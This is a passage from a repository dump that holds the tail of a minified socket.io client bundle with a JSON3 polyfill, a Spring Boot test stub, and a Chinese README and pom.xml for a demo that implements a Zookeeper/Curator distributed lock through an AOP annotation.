c=str.charAt(i);if(null==c||Number(c)!=c){--i;break}p.id+=str.charAt(i);if(i+1==str.length)break}p.id=Number(p.id)}if(str.charAt(++i)){try{p.data=json.parse(str.substr(i))}catch(e){return error()}}debug(\"decoded %s as %j\",str,p);return p}Decoder.prototype.destroy=function(){if(this.reconstructor){this.reconstructor.finishedReconstruction()}};function BinaryReconstructor(packet){this.reconPack=packet;this.buffers=[]}BinaryReconstructor.prototype.takeBinaryData=function(binData){this.buffers.push(binData);if(this.buffers.length==this.reconPack.attachments){var packet=binary.reconstructPacket(this.reconPack,this.buffers);this.finishedReconstruction();return packet}return null};BinaryReconstructor.prototype.finishedReconstruction=function(){this.reconPack=null;this.buffers=[]};function error(data){return{type:exports.ERROR,data:\"parser error\"}}},{\"./binary\":45,\"./is-buffer\":47,\"component-emitter\":9,debug:10,isarray:48,json3:49}],47:[function(_dereq_,module,exports){(function(global){module.exports=isBuf;function isBuf(obj){return global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],48:[function(_dereq_,module,exports){module.exports=_dereq_(32)},{}],49:[function(_dereq_,module,exports){(function(window){var getClass={}.toString,isProperty,forEach,undef;var isLoader=typeof define===\"function\"&&define.amd;var nativeJSON=typeof JSON==\"object\"&&JSON;var JSON3=typeof exports==\"object\"&&exports&&!exports.nodeType&&exports;if(JSON3&&nativeJSON){JSON3.stringify=nativeJSON.stringify;JSON3.parse=nativeJSON.parse}else{JSON3=window.JSON=nativeJSON||{}}var isExtended=new Date(-0xc782b5b800cec);try{isExtended=isExtended.getUTCFullYear()==-109252&&isExtended.getUTCMonth()===0&&isExtended.getUTCDate()===1&&isExtended.getUTCHours()==10&&isExtended.getUTCMinutes()==37&&isExtended.getUTCSeconds()==6&&isExtended.getUTCMilliseconds()==708}catch(exception){}function has(name){if(has[name]!==undef){return has[name]}var isSupported;if(name==\"bug-string-char-index\"){isSupported=\"a\"[0]!=\"a\"}else if(name==\"json\"){isSupported=has(\"json-stringify\")&&has(\"json-parse\")}else{var value,serialized='{\"a\":[1,true,false,null,\"\\\\u0000\\\\b\\\\n\\\\f\\\\r\\\\t\"]}';if(name==\"json-stringify\"){var stringify=JSON3.stringify,stringifySupported=typeof stringify==\"function\"&&isExtended;if(stringifySupported){(value=function(){return 1}).toJSON=value;try{stringifySupported=stringify(0)===\"0\"&&stringify(new Number)===\"0\"&&stringify(new String)=='\"\"'&&stringify(getClass)===undef&&stringify(undef)===undef&&stringify()===undef&&stringify(value)===\"1\"&&stringify([value])==\"[1]\"&&stringify([undef])==\"[null]\"&&stringify(null)==\"null\"&&stringify([undef,getClass,null])==\"[null,null,null]\"&&stringify({a:[value,true,false,null,\"\\x00\\b\\n\\f\\r\t\"]})==serialized&&stringify(null,value)===\"1\"&&stringify([1,2],null,1)==\"[\\n 1,\\n 2\\n]\"&&stringify(new Date(-864e13))=='\"-271821-04-20T00:00:00.000Z\"'&&stringify(new Date(864e13))=='\"+275760-09-13T00:00:00.000Z\"'&&stringify(new Date(-621987552e5))=='\"-000001-01-01T00:00:00.000Z\"'&&stringify(new Date(-1))=='\"1969-12-31T23:59:59.999Z\"'}catch(exception){stringifySupported=false}}isSupported=stringifySupported}if(name==\"json-parse\"){var parse=JSON3.parse;if(typeof parse==\"function\"){try{if(parse(\"0\")===0&&!parse(false)){value=parse(serialized);var parseSupported=value[\"a\"].length==5&&value[\"a\"][0]===1;if(parseSupported){try{parseSupported=!parse('\"\t\"')}catch(exception){}if(parseSupported){try{parseSupported=parse(\"01\")!==1}catch(exception){}}if(parseSupported){try{parseSupported=parse(\"1.\")!==1}catch(exception){}}}}}catch(exception){parseSupported=false}}isSupported=parseSupported}}return has[name]=!!isSupported}if(!has(\"json\")){var functionClass=\"[object Function]\";var dateClass=\"[object Date]\";var numberClass=\"[object Number]\";var stringClass=\"[object String]\";var arrayClass=\"[object Array]\";var booleanClass=\"[object Boolean]\";var charIndexBuggy=has(\"bug-string-char-index\");if(!isExtended){var floor=Math.floor;var Months=[0,31,59,90,120,151,181,212,243,273,304,334];var getDay=function(year,month){return Months[month]+365*(year-1970)+floor((year-1969+(month=+(month>1)))/4)-floor((year-1901+month)/100)+floor((year-1601+month)/400)}}if(!(isProperty={}.hasOwnProperty)){isProperty=function(property){var members={},constructor;if((members.__proto__=null,members.__proto__={toString:1},members).toString!=getClass){isProperty=function(property){var original=this.__proto__,result=property in(this.__proto__=null,this);this.__proto__=original;return result}}else{constructor=members.constructor;isProperty=function(property){var parent=(this.constructor||constructor).prototype;return property in this&&!(property in parent&&this[property]===parent[property])}}members=null;return isProperty.call(this,property)}}var PrimitiveTypes={\"boolean\":1,number:1,string:1,undefined:1};var isHostType=function(object,property){var type=typeof object[property];return type==\"object\"?!!object[property]:!PrimitiveTypes[type]};forEach=function(object,callback){var size=0,Properties,members,property;(Properties=function(){this.valueOf=0}).prototype.valueOf=0;members=new Properties;for(property in members){if(isProperty.call(members,property)){size++}}Properties=members=null;if(!size){members=[\"valueOf\",\"toString\",\"toLocaleString\",\"propertyIsEnumerable\",\"isPrototypeOf\",\"hasOwnProperty\",\"constructor\"];forEach=function(object,callback){var isFunction=getClass.call(object)==functionClass,property,length;var hasProperty=!isFunction&&typeof object.constructor!=\"function\"&&isHostType(object,\"hasOwnProperty\")?object.hasOwnProperty:isProperty;for(property in object){if(!(isFunction&&property==\"prototype\")&&hasProperty.call(object,property)){callback(property)}}for(length=members.length;property=members[--length];hasProperty.call(object,property)&&callback(property));}}else if(size==2){forEach=function(object,callback){var members={},isFunction=getClass.call(object)==functionClass,property;for(property in object){if(!(isFunction&&property==\"prototype\")&&!isProperty.call(members,property)&&(members[property]=1)&&isProperty.call(object,property)){callback(property)}}}}else{forEach=function(object,callback){var isFunction=getClass.call(object)==functionClass,property,isConstructor;for(property in object){if(!(isFunction&&property==\"prototype\")&&isProperty.call(object,property)&&!(isConstructor=property===\"constructor\")){callback(property)}}if(isConstructor||isProperty.call(object,property=\"constructor\")){callback(property)}}}return forEach(object,callback)};if(!has(\"json-stringify\")){var Escapes={92:\"\\\\\\\\\",34:'\\\\\"',8:\"\\\\b\",12:\"\\\\f\",10:\"\\\\n\",13:\"\\\\r\",9:\"\\\\t\"};var leadingZeroes=\"000000\";var toPaddedString=function(width,value){return(leadingZeroes+(value||0)).slice(-width)};var unicodePrefix=\"\\\\u00\";var quote=function(value){var result='\"',index=0,length=value.length,isLarge=length>10&&charIndexBuggy,symbols;if(isLarge){symbols=value.split(\"\")}for(;index<length;index++){var charCode=value.charCodeAt(index);switch(charCode){case 8:case 9:case 10:case 12:case 13:case 34:case 92:result+=Escapes[charCode];break;default:if(charCode<32){result+=unicodePrefix+toPaddedString(2,charCode.toString(16));break}result+=isLarge?symbols[index]:charIndexBuggy?value.charAt(index):value[index]}}return result+'\"'};var serialize=function(property,object,callback,properties,whitespace,indentation,stack){var value,className,year,month,date,time,hours,minutes,seconds,milliseconds,results,element,index,length,prefix,result;try{value=object[property]}catch(exception){}if(typeof value==\"object\"&&value){className=getClass.call(value);if(className==dateClass&&!isProperty.call(value,\"toJSON\")){if(value>-1/0&&value<1/0){if(getDay){date=floor(value/864e5);for(year=floor(date/365.2425)+1970-1;getDay(year+1,0)<=date;year++);for(month=floor((date-getDay(year,0))/30.42);getDay(year,month+1)<=date;month++);date=1+date-getDay(year,month);time=(value%864e5+864e5)%864e5;hours=floor(time/36e5)%24;minutes=floor(time/6e4)%60;seconds=floor(time/1e3)%60;milliseconds=time%1e3}else{year=value.getUTCFullYear();month=value.getUTCMonth();date=value.getUTCDate();hours=value.getUTCHours();minutes=value.getUTCMinutes();seconds=value.getUTCSeconds();milliseconds=value.getUTCMilliseconds()}value=(year<=0||year>=1e4?(year<0?\"-\":\"+\")+toPaddedString(6,year<0?-year:year):toPaddedString(4,year))+\"-\"+toPaddedString(2,month+1)+\"-\"+toPaddedString(2,date)+\"T\"+toPaddedString(2,hours)+\":\"+toPaddedString(2,minutes)+\":\"+toPaddedString(2,seconds)+\".\"+toPaddedString(3,milliseconds)+\"Z\"}else{value=null}}else if(typeof value.toJSON==\"function\"&&(className!=numberClass&&className!=stringClass&&className!=arrayClass||isProperty.call(value,\"toJSON\"))){value=value.toJSON(property)}}if(callback){value=callback.call(object,property,value)}if(value===null){return\"null\"}className=getClass.call(value);if(className==booleanClass){return\"\"+value}else if(className==numberClass){return value>-1/0&&value<1/0?\"\"+value:\"null\"}else if(className==stringClass){return quote(\"\"+value)}if(typeof value==\"object\"){for(length=stack.length;length--;){if(stack[length]===value){throw TypeError()}}stack.push(value);results=[];prefix=indentation;indentation+=whitespace;if(className==arrayClass){for(index=0,length=value.length;index<length;index++){element=serialize(index,value,callback,properties,whitespace,indentation,stack);results.push(element===undef?\"null\":element)}result=results.length?whitespace?\"[\\n\"+indentation+results.join(\",\\n\"+indentation)+\"\\n\"+prefix+\"]\":\"[\"+results.join(\",\")+\"]\":\"[]\"}else{forEach(properties||value,function(property){var element=serialize(property,value,callback,properties,whitespace,indentation,stack);if(element!==undef){results.push(quote(property)+\":\"+(whitespace?\" \":\"\")+element)}});result=results.length?whitespace?\"{\\n\"+indentation+results.join(\",\\n\"+indentation)+\"\\n\"+prefix+\"}\":\"{\"+results.join(\",\")+\"}\":\"{}\"}stack.pop();return result}};JSON3.stringify=function(source,filter,width){var whitespace,callback,properties,className;if(typeof filter==\"function\"||typeof filter==\"object\"&&filter){if((className=getClass.call(filter))==functionClass){callback=filter}else if(className==arrayClass){properties={};for(var index=0,length=filter.length,value;index<length;value=filter[index++],(className=getClass.call(value),className==stringClass||className==numberClass)&&(properties[value]=1));}}if(width){if((className=getClass.call(width))==numberClass){if((width-=width%1)>0){for(whitespace=\"\",width>10&&(width=10);whitespace.length<width;whitespace+=\" \");}}else if(className==stringClass){whitespace=width.length<=10?width:width.slice(0,10)}}return serialize(\"\",(value={},value[\"\"]=source,value),callback,properties,whitespace,\"\",[])}}if(!has(\"json-parse\")){var fromCharCode=String.fromCharCode;var Unescapes={92:\"\\\\\",34:'\"',47:\"/\",98:\"\\b\",116:\"\t\",110:\"\\n\",102:\"\\f\",114:\"\\r\"};var Index,Source;var abort=function(){Index=Source=null;throw SyntaxError()};var lex=function(){var source=Source,length=source.length,value,begin,position,isSigned,charCode;while(Index<length){charCode=source.charCodeAt(Index);switch(charCode){case 9:case 10:case 13:case 32:Index++;break;case 123:case 125:case 91:case 93:case 58:case 44:value=charIndexBuggy?source.charAt(Index):source[Index];Index++;return value;case 34:for(value=\"@\",Index++;Index<length;){charCode=source.charCodeAt(Index);if(charCode<32){abort()}else if(charCode==92){charCode=source.charCodeAt(++Index);switch(charCode){case 92:case 34:case 47:case 98:case 116:case 110:case 102:case 114:value+=Unescapes[charCode];Index++;break;case 117:begin=++Index;for(position=Index+4;Index<position;Index++){charCode=source.charCodeAt(Index);if(!(charCode>=48&&charCode<=57||charCode>=97&&charCode<=102||charCode>=65&&charCode<=70)){abort()}}value+=fromCharCode(\"0x\"+source.slice(begin,Index));break;default:abort()}}else{if(charCode==34){break}charCode=source.charCodeAt(Index);begin=Index;while(charCode>=32&&charCode!=92&&charCode!=34){charCode=source.charCodeAt(++Index)}value+=source.slice(begin,Index)}}if(source.charCodeAt(Index)==34){Index++;return value}abort();default:begin=Index;if(charCode==45){isSigned=true;charCode=source.charCodeAt(++Index)}if(charCode>=48&&charCode<=57){if(charCode==48&&(charCode=source.charCodeAt(Index+1),charCode>=48&&charCode<=57)){abort()}isSigned=false;for(;Index<length&&(charCode=source.charCodeAt(Index),charCode>=48&&charCode<=57);Index++);if(source.charCodeAt(Index)==46){position=++Index;for(;position<length&&(charCode=source.charCodeAt(position),charCode>=48&&charCode<=57);position++);if(position==Index){abort()}Index=position}charCode=source.charCodeAt(Index);if(charCode==101||charCode==69){charCode=source.charCodeAt(++Index);if(charCode==43||charCode==45){Index++}for(position=Index;position<length&&(charCode=source.charCodeAt(position),charCode>=48&&charCode<=57);position++);if(position==Index){abort()}Index=position}return+source.slice(begin,Index)}if(isSigned){abort()}if(source.slice(Index,Index+4)==\"true\"){Index+=4;return true}else if(source.slice(Index,Index+5)==\"false\"){Index+=5;return false}else if(source.slice(Index,Index+4)==\"null\"){Index+=4;return null}abort()}}return\"$\"};var get=function(value){var results,hasMembers;if(value==\"$\"){abort()}if(typeof value==\"string\"){if((charIndexBuggy?value.charAt(0):value[0])==\"@\"){return value.slice(1)}if(value==\"[\"){results=[];for(;;hasMembers||(hasMembers=true)){value=lex();if(value==\"]\"){break}if(hasMembers){if(value==\",\"){value=lex();if(value==\"]\"){abort()}}else{abort()}}if(value==\",\"){abort()}results.push(get(value))}return results}else if(value==\"{\"){results={};for(;;hasMembers||(hasMembers=true)){value=lex();if(value==\"}\"){break}if(hasMembers){if(value==\",\"){value=lex();if(value==\"}\"){abort()}}else{abort()}}if(value==\",\"||typeof value!=\"string\"||(charIndexBuggy?value.charAt(0):value[0])!=\"@\"||lex()!=\":\"){abort()}results[value.slice(1)]=get(lex())}return results}abort()}return value};var update=function(source,property,callback){var element=walk(source,property,callback);if(element===undef){delete source[property]}else{source[property]=element}};var walk=function(source,property,callback){var value=source[property],length;if(typeof value==\"object\"&&value){if(getClass.call(value)==arrayClass){for(length=value.length;length--;){update(value,length,callback)}}else{forEach(value,function(property){update(value,property,callback)})}}return callback.call(source,property,value)};JSON3.parse=function(source,callback){var result,value;Index=0;Source=\"\"+source;result=get(lex());if(lex()!=\"$\"){abort()}Index=Source=null;return callback&&getClass.call(callback)==functionClass?walk((value={},value[\"\"]=result,value),\"\",callback):result}}}if(isLoader){define(function(){return JSON3})}})(this)},{}],50:[function(_dereq_,module,exports){module.exports=toArray;function toArray(list,index){var array=[];index=index||0;for(var i=index||0;i<list.length;i++){array[i-index]=list[i]}return array}},{}]},{},[1])(1)});"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/test/java/com/jun/plugin/websocket/socketio/SpringBootDemoWebsocketSocketioApplicationTests.java",
    "content": "package com.jun.plugin.websocket.socketio;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoWebsocketSocketioApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/README.md",
    "content": "# spring-boot-demo-zookeeper\n\n> 此 demo 主要演示了如何使用 Spring Boot 集成 Zookeeper 结合AOP实现分布式锁。\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-zookeeper</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-zookeeper</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n\n        <!-- curator 版本4.1.0 对应 zookeeper 版本 3.5.x -->\n        <!-- curator 与 zookeeper 版本对应关系：https://curator.apache.org/zk-compatibility.html -->\n        <dependency>\n            <groupId>org.apache.curator</groupId>\n            <artifactId>curator-recipes</artifactId>\n            <version>4.1.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-zookeeper</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n## ZkProps.java\n\n```java\n/**\n * <p>\n * Zookeeper 配置项\n * </p>\n *\n * @package: com.jun.plugin.zookeeper.config.props\n * @description: Zookeeper 配置项\n * @author: yangkai.shen\n * @date: Created in 2018-12-27 14:47\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@ConfigurationProperties(prefix = \"zk\")\npublic class ZkProps {\n    /**\n     * 连接地址\n     */\n    private String url;\n\n    /**\n     * 超时时间(毫秒)，默认1000\n     */\n    private int timeout = 1000;\n\n    /**\n     * 重试次数，默认3\n     */\n    private int retry = 3;\n}\n```\n\n## application.yml\n\n```yaml\nserver:\n  port: 8080\n  servlet:\n    context-path: /demo\n\nzk:\n  url: 127.0.0.1:2181\n  timeout: 1000\n  retry: 3\n```\n\n## ZkConfig.java\n\n```java\n/**\n * <p>\n * Zookeeper配置类\n * </p>\n *\n * @package: com.jun.plugin.zookeeper.config\n * @description: Zookeeper配置类\n * @author: yangkai.shen\n * @date: Created in 2018-12-27 14:45\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableConfigurationProperties(ZkProps.class)\npublic class ZkConfig {\n    private final ZkProps zkProps;\n\n    @Autowired\n    public ZkConfig(ZkProps zkProps) {\n        this.zkProps = zkProps;\n    }\n\n    @Bean\n    public CuratorFramework curatorFramework() {\n        RetryPolicy retryPolicy = new ExponentialBackoffRetry(zkProps.getTimeout(), zkProps.getRetry());\n        CuratorFramework client = CuratorFrameworkFactory.newClient(zkProps.getUrl(), retryPolicy);\n        client.start();\n        return client;\n    }\n}\n```\n\n## ZooLock.java\n\n> 分布式锁的关键注解\n\n```java\n/**\n * <p>\n * 基于Zookeeper的分布式锁注解\n * 在需要加锁的方法上打上该注解后，AOP会帮助你统一管理这个方法的锁\n * </p>\n *\n * @package: com.jun.plugin.zookeeper.annotation\n * @description: 基于Zookeeper的分布式锁注解，在需要加锁的方法上打上该注解后，AOP会帮助你统一管理这个方法的锁\n * @author: yangkai.shen\n * @date: Created in 2018-12-27 14:11\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Target({ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@Inherited\npublic @interface ZooLock {\n    /**\n     * 分布式锁的键\n     */\n    String key();\n\n    /**\n     * 锁释放时间，默认五秒\n     */\n    long timeout() default 5 * 1000;\n\n    /**\n     * 时间格式，默认：毫秒\n     */\n    TimeUnit timeUnit() default TimeUnit.MILLISECONDS;\n}\n```\n\n## LockKeyParam.java\n\n> 分布式锁动态key的关键注解\n\n```java\n/**\n * <p>\n * 分布式锁动态key注解，配置之后key的值会动态获取参数内容\n * </p>\n *\n * @package: com.jun.plugin.zookeeper.annotation\n * @description: 分布式锁动态key注解，配置之后key的值会动态获取参数内容\n * @author: yangkai.shen\n * @date: Created in 2018-12-27 14:17\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Target({ElementType.PARAMETER})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@Inherited\npublic @interface LockKeyParam {\n    /**\n     * 如果动态key在user对象中，那么就需要设置fields的值为user对象中的属性名可以为多个，基本类型则不需要设置该值\n     * <p>例1：public void count(@LockKeyParam({\"id\"}) model.User user)\n     * <p>例2：public void count(@LockKeyParam({\"id\",\"userName\"}) model.User user)\n     * <p>例3：public void count(@LockKeyParam String userId)\n     */\n    String[] fields() default {};\n}\n```\n\n## ZooLockAspect.java\n\n> 分布式锁的关键部分\n\n```java\n/**\n * <p>\n * 使用 aop 切面记录请求日志信息\n * </p>\n *\n * @package: com.jun.plugin.log.aop.aspectj\n * @description: 使用 aop 切面记录请求日志信息\n * @author: yangkai.shen\n * @date: Created in 2018/10/1 10:05 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Aspect\n@Component\n@Slf4j\npublic class ZooLockAspect {\n    private final CuratorFramework zkClient;\n\n    private static final String KEY_PREFIX = \"DISTRIBUTED_LOCK_\";\n\n    private static final String KEY_SEPARATOR = \"/\";\n\n    @Autowired\n    public ZooLockAspect(CuratorFramework zkClient) {\n        this.zkClient = zkClient;\n    }\n\n    /**\n     * 切入点\n     */\n    @Pointcut(\"@annotation(com.jun.plugin.zookeeper.annotation.ZooLock)\")\n    public void doLock() {\n\n    }\n\n    /**\n     * 环绕操作\n     *\n     * @param point 切入点\n     * @return 原方法返回值\n     * @throws Throwable 异常信息\n     */\n    @Around(\"doLock()\")\n    public Object around(ProceedingJoinPoint point) throws Throwable {\n        MethodSignature signature = (MethodSignature) point.getSignature();\n        Method method = signature.getMethod();\n        Object[] args = point.getArgs();\n        ZooLock zooLock = method.getAnnotation(ZooLock.class);\n        if (StrUtil.isBlank(zooLock.key())) {\n            throw new RuntimeException(\"分布式锁键不能为空\");\n        }\n        String lockKey = buildLockKey(zooLock, method, args);\n        InterProcessMutex lock = new InterProcessMutex(zkClient, lockKey);\n        try {\n            // 假设上锁成功，以后拿到的都是 false\n            if (lock.acquire(zooLock.timeout(), zooLock.timeUnit())) {\n                return point.proceed();\n            } else {\n                throw new RuntimeException(\"请勿重复提交\");\n            }\n        } finally {\n            lock.release();\n        }\n    }\n\n    /**\n     * 构造分布式锁的键\n     *\n     * @param lock   注解\n     * @param method 注解标记的方法\n     * @param args   方法上的参数\n     * @return\n     * @throws NoSuchFieldException\n     * @throws IllegalAccessException\n     */\n    private String buildLockKey(ZooLock lock, Method method, Object[] args) throws NoSuchFieldException, IllegalAccessException {\n        StringBuilder key = new StringBuilder(KEY_SEPARATOR + KEY_PREFIX + lock.key());\n\n        // 迭代全部参数的注解，根据使用LockKeyParam的注解的参数所在的下标，来获取args中对应下标的参数值拼接到前半部分key上\n        Annotation[][] parameterAnnotations = method.getParameterAnnotations();\n\n        for (int i = 0; i < parameterAnnotations.length; i++) {\n            // 循环该参数全部注解\n            for (Annotation annotation : parameterAnnotations[i]) {\n                // 注解不是 @LockKeyParam\n                if (!annotation.annotationType().isInstance(LockKeyParam.class)) {\n                    continue;\n                }\n\n                // 获取所有fields\n                String[] fields = ((LockKeyParam) annotation).fields();\n                if (ArrayUtil.isEmpty(fields)) {\n                    // 普通数据类型直接拼接\n                    if (ObjectUtil.isNull(args[i])) {\n                        throw new RuntimeException(\"动态参数不能为null\");\n                    }\n                    key.append(KEY_SEPARATOR).append(args[i]);\n                } else {\n                    // @LockKeyParam的fields值不为null，所以当前参数应该是对象类型\n                    for (String field : fields) {\n                        Class<?> clazz = args[i].getClass();\n                        Field declaredField = clazz.getDeclaredField(field);\n                        declaredField.setAccessible(true);\n                        Object value = declaredField.get(clazz);\n                        key.append(KEY_SEPARATOR).append(value);\n                    }\n                }\n            }\n        }\n        return key.toString();\n    }\n\n}\n```\n\n## SpringBootDemoZookeeperApplicationTests.java\n\n> 测试分布式锁\n\n```java\n@RunWith(SpringRunner.class)\n@SpringBootTest\n@Slf4j\npublic class SpringBootDemoZookeeperApplicationTests {\n\n    public Integer getCount() {\n        return count;\n    }\n\n    private Integer count = 10000;\n    private ExecutorService executorService = Executors.newFixedThreadPool(1000);\n\n    @Autowired\n    private CuratorFramework zkClient;\n\n    /**\n     * 不使用分布式锁，程序结束查看count的值是否为0\n     */\n    @Test\n    public void test() throws InterruptedException {\n        IntStream.range(0, 10000).forEach(i -> executorService.execute(this::doBuy));\n        TimeUnit.MINUTES.sleep(1);\n        log.error(\"count值为{}\", count);\n    }\n\n    /**\n     * 测试AOP分布式锁\n     */\n    @Test\n    public void testAopLock() throws InterruptedException {\n        // 测试类中使用AOP需要手动代理\n        SpringBootDemoZookeeperApplicationTests target = new SpringBootDemoZookeeperApplicationTests();\n        AspectJProxyFactory factory = new AspectJProxyFactory(target);\n        ZooLockAspect aspect = new ZooLockAspect(zkClient);\n        factory.addAspect(aspect);\n        SpringBootDemoZookeeperApplicationTests proxy = factory.getProxy();\n        IntStream.range(0, 10000).forEach(i -> executorService.execute(() -> proxy.aopBuy(i)));\n        TimeUnit.MINUTES.sleep(1);\n        log.error(\"count值为{}\", proxy.getCount());\n    }\n\n    /**\n     * 测试手动加锁\n     */\n    @Test\n    public void testManualLock() throws InterruptedException {\n        IntStream.range(0, 10000).forEach(i -> executorService.execute(this::manualBuy));\n        TimeUnit.MINUTES.sleep(1);\n        log.error(\"count值为{}\", count);\n    }\n\n    @ZooLock(key = \"buy\", timeout = 1, timeUnit = TimeUnit.MINUTES)\n    public void aopBuy(int userId) {\n        log.info(\"{} 正在出库。。。\", userId);\n        doBuy();\n        log.info(\"{} 扣库存成功。。。\", userId);\n    }\n\n    public void manualBuy() {\n        String lockPath = \"/buy\";\n        log.info(\"try to buy sth.\");\n        try {\n            InterProcessMutex lock = new InterProcessMutex(zkClient, lockPath);\n            try {\n                if (lock.acquire(1, TimeUnit.MINUTES)) {\n                    doBuy();\n                    log.info(\"buy successfully!\");\n                }\n            } finally {\n                lock.release();\n            }\n        } catch (Exception e) {\n            log.error(\"zk error\");\n        }\n    }\n\n    public void doBuy() {\n        count--;\n        log.info(\"count值为{}\", count);\n    }\n\n}\n```\n\n## 参考\n\n1. [如何在测试类中使用 AOP](https://stackoverflow.com/questions/11436600/unit-testing-spring-around-aop-methods)\n2. zookeeper 实现分布式锁：《Spring Boot 2精髓 从构建小系统到架构分布式大系统》李家智 - 第16章 - Spring Boot 和 Zoo Keeper - 16.3 实现分布式锁"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_zookeeper</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n    <name>springboot_zookeeper</name>\n    <description>Demo project for Spring Boot</description>\n\n   <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n\n        <!-- curator 版本4.1.0 对应 zookeeper 版本 3.5.x -->\n        <!-- curator 与 zookeeper 版本对应关系：https://curator.apache.org/zk-compatibility.html -->\n        <dependency>\n            <groupId>org.apache.curator</groupId>\n            <artifactId>curator-recipes</artifactId>\n            <version>4.1.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_zookeeper</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/src/main/java/com/jun/plugin/zookeeper/SpringBootDemoZookeeperApplication.java",
